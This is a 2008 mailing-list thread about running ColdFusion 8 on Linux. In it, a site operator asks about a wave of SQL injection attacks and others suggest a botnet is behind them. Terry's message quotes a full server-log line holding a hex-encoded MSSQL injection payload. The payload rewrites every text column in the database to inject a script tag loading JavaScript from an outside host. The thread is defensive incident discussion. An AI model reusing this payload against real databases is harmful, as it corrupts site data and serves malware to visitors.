Terry, Here's a rundown:
http://www.coldfusionmuse.com/index.cfm/2008/7/18/Injection-Using-CAST-And-A SCII There are lots of useful comments and several cross posts at the bottom. -mark Mark A. Kruger, CFG, MCSE (402) 408-3733 ext 105 www.cfwebtools.com www.coldfusionmuse.com www.necfug.com -----Original Message----- From: Cary Gordon [mailto:[EMAIL PROTECTED] Sent: Thursday, August 07, 2008 5:37 PM To: CF-Linux Subject: Re: CF8 on linux -- who's running it on large sites? [ & distributed SQL injection attack ? ] It is a centrally controlled attack running on zombie computers. I am pretty sure that this is related to the recent spate of hijacking and DNS issues. You are not the lone ranger. Cary Gordon The Cherry Hill Company http://chillco.com On Aug 7, 2008, at 3:23 PM, Terry Ford wrote: > Thanks for the update. We've been running CF8 for a few months now > with no problems. Approximately 1.5M CF pages a day on a single > server. The server is barely breaking a sweat too... I suspect we > could probably do 50% more traffic on this machine without major > performance issues. We use lots of caching. > > 178 days now without a reboot. Haven't had a single crash since we > switched to CF8. Needless to say, very impressed! > > Totally unrelated: has anyone seen massive SQL injection attacks > over the last few days / weeks? We're getting tens of thousands of > injection attacks from hundreds of different IPs each day. It > started off slow, but now they're coming in like mad. It has > almost become a DOS attack now over the past 24 hrs. > > The injection attacks don't worry me -- we're well coded against > them (and these seem to be MSSQL attacks). But the sheer volume of > traffic being generated is starting to get a little worrisome. > Does anyone know more about where this attack is coming from? Is > it a centrally controlled attack, a worm, ...? > > > Here is a typical attack: > > 70.156.129.101 - - [07/Aug/2008:17:12:33 -0500] "GET /path/ > template.cfm?gid=1074';[EMAIL PROTECTED](4000);SET > %20 > @S > = > CAST > (0x4445434C415245204054207661726368617228323535292C4043207661726368617 > 2283430303029204445434C415245205461626 > C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C6 > 22E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E732 > 06220776865726520612E69643D622E696420616E6420612E78747970653D277527206 > 16E642028622E7874797 > 0653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206 > F7220622E78747970653D31363729204F50454E205461626C655F437572736F7220464 > 5544348204E4558542046524F4D20205461626C655F437572736F7220494E544F20405 > 42C4043205748494C452 > 8404046455443485F5354415455533D302920424547494E20657865632827757064617 > 465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B272 > 7223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E3 > 13030306D672E636E2F6 > 3737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272 > B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742 > 07372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6 > A73223E3C2F736372697 > 0743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437 > 572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F43757 > 2736F72204445414C4C4F43415445205461626C655F437572736F72 > %20AS%20CHAR(4000));EXEC(@S); HTTP/ > 1.1" 200 36 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; > .NET CLR 1.1.4322)" > > > Regards > Terry > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Linux/message.cfm/messageid:4425 Subscription: http://www.houseoffusion.com/groups/CF-Linux/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.14
